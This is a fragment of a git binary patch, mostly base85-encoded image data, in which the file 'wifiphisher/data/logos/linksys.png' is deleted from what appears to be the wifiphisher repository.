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 diff --git a/wifiphisher/data/logos/linksys.png b/wifiphisher/data/logos/linksys.png deleted file mode 100644 index b9d3c9a5d5e7e159a2a5aefb005c7c076cb9dfd2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12877 zcmY+r1yogGw>7-!PC>v!ODHKK-6fsU-AH#zBdK(WG)Q-MiF8YMcXz|TkMDi&{rb`lzn;1$!*Ul`#x$!_4ANKTTnVn{1USa@VKABrA}0Dv5j6cti-n>$?m z(yVOKfON84WqO5BUY`&1WeSMNF-d#>UPP?!APGjfnxU705#eg^pu`QUY1WBrJA}3m zt=z0#+FZlmG!%Jou$wU}cQa?OQW(K>2vHOU->=2Yly4jBgqSrR<6xl4)O&fPXM`5R zH0_f2_`dXVu-H9uW_9D`k5yUP7ij);!tY`p8t8^UP`p&Rwcv;7%t4M-2&BTxMblZT z8L;lq*z|PfU7naCMvqLym3oAnHOPX>7yAAT8&F>vmAp#7E5Ezo2Rd6`HVNAfnHj3V zX7OFoe0q87U)FNRG954fZKV^IqyQU287zEB4om`wc2w@x2P=`cG7Oc|HP*j}L^8T) zGYAb&R(Us5%31tHf18+G3wiyvRm0Lk=!)*{+FB#dW2G(&N(es)_Huw#a2KDw=AhPlD> zJ#M|{ewzq)llbwA@}qS?*c{7x$?B?Ef9Q_&KzCma504fch9m8!7PDvkZAMs2@AqF3 zjykSyeFIutNiqeT{+_~PAJ-C;6v>kqs;qnF58LTnzb2-*NbuyobL5HPg@lD}4WqWO z6SnR?X>Vn@s9GHdMW*xM7OFuA=jbQ*n(BG<-VwGI$SJasNXQ0%BfsD7uicgl-30W5 zmB<2j#^h+&?{$W&ZSz;Y3VwdtKAX*5Zo5oJnI6wWFR)bbc>bQLDBfZKWsg^-A_!(Yvp2tw+$tLT z3Z6Rb&e~RDeSr5Qf*9gREs0lFPAwsx13UYM9f|vteSO7K_h=tAhl5s}*7uMY`f}FW z_(!LSRD9;ic~TltN{`EcR@kLQ>HAr85&IXu%yU{%E^l)~Z!^2{i zuQ^Y_hjuZ``idqWW-}AeG97rD>&$vxq~CF+M=UNf63k(sMbx~xU!_+o^Ey_dUQNG4v$RNaj%g$ve#I%`r$P>=i{iZ|Vg7JZ+?3OY$yiU+&Jcmh ztuUMsPzHB_g&4e3r!8yHPf1pE`D{s{Y|B#4?6!#S`aHdT_fJmOPIN*A38nl4p;TI*a?~_N_yYe*jkVU%C;h_ftZ9MIFtjy!$&QPs z7GSXTV7K^Y`!{y26;S81VF>1RD0+7<)ou#Ew3O$#pG&ZX8x~iJ-xV*%eRq@g{1-;Qmip|S>)h)sFU4$sF+aOK z%Uc;ImT@874{O!80gJyQa)54+cMtJRcPc(l@q^Vi?r}=*;&}D^Y#o&qTpcRM%-~iN zW?^sBIt-q+^FtZiw3>KZYhx@;f@8@PyIf_o_fxD6Ovzi@df3neSNdxk@@Fk*VV& z4ws2QAs1RGn6~cmA^pTWDa}Cz|ij} zy|wKzd`AR&+S%-p$d_l9vGDizJ_YCZ#-}*{0Wq(CM+%hyp%YCrO2ST-A{$<$kCmbl zy&Z|~rH7VxymFNh_;(a==J*1z5$Byx3c zhIlo@^$7pF2M-szELwWAAJlzV3!iE=bN%mPKu}=tPlq{~Gh(RIprfFD(N;&R%UkYo zLj?ree^sz8D%oqs6&zl{j$Ha6%1nRFeZZjXL$LK2)X-U3Y_87h{LC?YFZk>Tpl`{% z29s2|6+RDK!~_zDZpMY7A9ucCByvNDc6@{P-KMsVX4${FO}y9}8+(?7<03b+`71zB zn}+#=j&*+Daaw?tXo;~$Gb|ts4?aMHy24v*-4W@APJ2ECj1`rycXO$!C4NB-NUZo1 zmbnaPv#T4hf^EAUJ9_?WzdUnKlhQl_7Lzj!V3ANS@o8Ut0mAfN5gQ8BI2pLx92HPf z@0$W_K_D9(E#b^)c@y+elOMjzKE(jKt8`z9=@SH4Km0wT*z)(7TaC3TuF#wJm`;;T zY~JFEb6W7Tf}O}2IDmochT9n#6ZV=rGCws$U{Ct8_xr8O=MJ@g#$y-b4s;l~4-Caw zMIIfo@*mNV&L~x)`VP$hjsB-mp|*w!SSm>(3VMh&1&%W!lqMe)9yMLKBgO`(Ba z$m{=_;Znc~1QLVy`Ls;rmW7^0%G4VjCy9+U@A;QKR*PDkem@h7qbHFkMl2$%=mv=J z{waK4&ax<y^z3^5;owMpn9dNy7knvk;qrc)AJ1fi2+oPC>)R0w z>NzSv#Hsd4mMi8WrQXcr_tiAli8!%II?k}{Aeq&wUqtPy0V2)h*ycpXm%Q^BeW8>$ zl?Dd*V$O3=XdvA|BY{qW+&M+@-;&o)cfb2rw$hgi$6z31Q4jSa+jY1xSj>)C4+ESB*;0N zu~rLvGWSuekS>usNj+V=n%)>*94jebneHQu6^H9qf8ECqR02me&2yO(V+!l+sg623 z7d6(~$9t_cLz{CSyU$n=L?@8$I)5L-u1-v!CG8mI1~gI<%6W_VrHd$RR*dq9*`>vX zE={^7)|DG{$NHrs{EE$_?jhtF~)~M?mIoz6*k+pgf`|pJKb{@88)! z{a@9pqHa~^tw%bYe|u$b7W*bm>9qGI-?+537aH$EHG)3)->W_KM-Br-j~9)_V`K~K zQI?us?90~QD3yYu!L|&x3-Rvh)oA=*^TXXOV(||xsg4gp4SwQ5vMeWDBerZI>jx5h zu(aV?%~A4SF3U}kW#&Wg$=r;3CizYpVP0S|ak%xGRk&G%RwXS()J42d)H^HaAM#V! z!_DcJ2z}^jb8A!`?ySis@Ak{aVED%I&Mu-JM_Wa*a7{3gMz) zBlagFdYM4)Pc&?lczED9P1=hh3ev8SrEDbZvGlps4K^8smi2yB*wqbZpqZ1Mz1?|# zemp$#6|THM1nql``?K7(qLpB<0RCE`A7{v(k1_xjf2X1nuzH<AdbowfIZ`eI*v;i|}>ZXpq(! z5uQCUcHZ}d7O256-;wJ~;9m%i!R4(4Pp3uEM+{eb+&`WF2Y0a-30YDzBu9DxA`G4JM>r zMUKXsg}fiUnLwRtD@F&}78C59o}VPz{ekP4bLIqczOJ>pCi_j{;sB>dD2Nx)9K`F) zE~R?|Xs`CX{Uio<3)L~l({3AGsq;Uk%2=@%NlZA-C5pP{_o5#>=?{pK#To7fwR$+F z?`Q)^N%6SWx^30w^y185TxLm)@2<{7#u=JVLOC5n_BB}hrbRb7faWXo2~7NyL*sQc z4Y91WL_HiY?Di7GU^mrwF?*M0YDlm9nCaim=F5aE?HaFLJ51nKjM0E4gBB(g!Lf~G zCb?64z~c{QPJ}57--2;)3<1my7f{Cc+q#MRM~ZyUktu$thkQ-{CP4gY{nO-awn%|) z6RVli8#V=%ZNh{gHPrST;u2^g(j~-(>J^Q00@JZb8H9*q!5}tps*XE$z2Ny9Vi!rl!$okM9$u4M$2{zrDdwxi%}VSIWD4Ya7+q}#QdyH z*3&pZ4^H7^hXOswf*mX@BNiTi;>7rQ;-rK(@0ZYYryBULZ}^(XL2OB>s~pQgy{+lk z{}bpJv@w(BO~4bwjp@Jpk!?2W-YpLcn%{G;6GI=R#71Dt2eO0hqVgFkATcjAWUENn zOcb5%<`Z}*K3`}apx!3aciA5fBtH#H;a;A4GOSPnx!#r*q4F_C-M>5zXj#N%HIy+X zwa}ZqeQM@vUU6|lH+*biJj?aKI3oOt5^@eNfu}E=!yWUEm#( z6su<02@9aSD?3<$F-#BXH6ua!Ptyu8_J5)Byay=3y17~EJ&AE>J*K8ENf|q=F~*a5 zQ&Q1VyMn}b>V(dd@(@DTYBaOTHE6^5{5_gbSqA zWm(}nIVL+8YlT>*0#=vznI}@N`n|@N^r=G!Un_k^)ZeT6dEb=4R(2n$u??5cw!^9S zsg1dNOah7^S6O@zpE>+}D#8ck_!iyZkf#Yu+A;&SdsQ7O=U-WSEI`^9^yIKwPFkyn zzfdVr5hH5aZ^C2|yvN{3fGdOkF-GsGG!gA<%yxlPZ~lwYwZ9LQM3~~Qp*y%IRh1gS zuSbV34{sbEjAisP`LOi`I<3I}Nr&_Z4vJ_y4N1x>uGyI(RKojuJ~jK!knt@n{uP=g zgQE`08?sK!GPcCgRPVRf##Q-Vg`Pc 